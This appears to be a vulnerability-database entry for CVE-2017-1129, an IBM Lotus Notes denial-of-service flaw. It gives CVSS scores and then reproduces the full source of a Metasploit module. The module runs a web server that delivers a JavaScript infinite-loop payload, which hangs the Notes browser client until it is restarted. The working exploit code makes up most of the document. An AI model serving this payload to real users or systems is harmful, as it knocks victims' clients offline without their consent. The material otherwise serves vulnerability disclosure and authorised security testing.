IBM Notes encodeURI Denial of Service

2024-08-3100:00:00

Dhiraj Mishra, metasploit.com

packetstormsecurity.com

ibm lotus notes

vulnerability

hang

browser

restart

exploit

http server

CVSS2

4.3

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:N/I:N/A:P

CVSS3

6.5

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

AI Score

Confidence

Low

EPSS

0.915

Percentile

99.0%

JSON

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpServer  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => "IBM Notes encodeURI DOS",  
'Description' => %q(  
This module exploits a vulnerability in the native browser that comes with IBM Lotus Notes.  
If successful, it could cause the Notes client to hang and have to be restarted.  
),  
'License' => MSF_LICENSE,  
'Author' => [  
'Dhiraj Mishra',  
],  
'References' => [  
[ 'EDB', '42602'],  
[ 'CVE', '2017-1129' ],  
[ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21999385' ]  
],  
'DisclosureDate' => '2017-08-31',  
'Actions' => [[ 'WebServer', 'Description' => 'Serve exploit via web server' ]],  
'PassiveActions' => [ 'WebServer' ],  
'DefaultAction' => 'WebServer'  
)  
)  
end  
  
def run  
exploit # start http server  
end  
  
def setup  
@html = %|  
<html><head><title>DOS</title>  
<script type="text/javascript">  
while (true) try {  
var object = { };  
function d(d0) {  
var d0 = (object instanceof encodeURI)('foo');  
}  
d(75);  
} catch (d) { }  
</script>  
</head></html>  
|  
end  
  
def on_request_uri(cli, _request)  
print_status('Sending response')  
send_response(cli, @html)  
end  
end  
`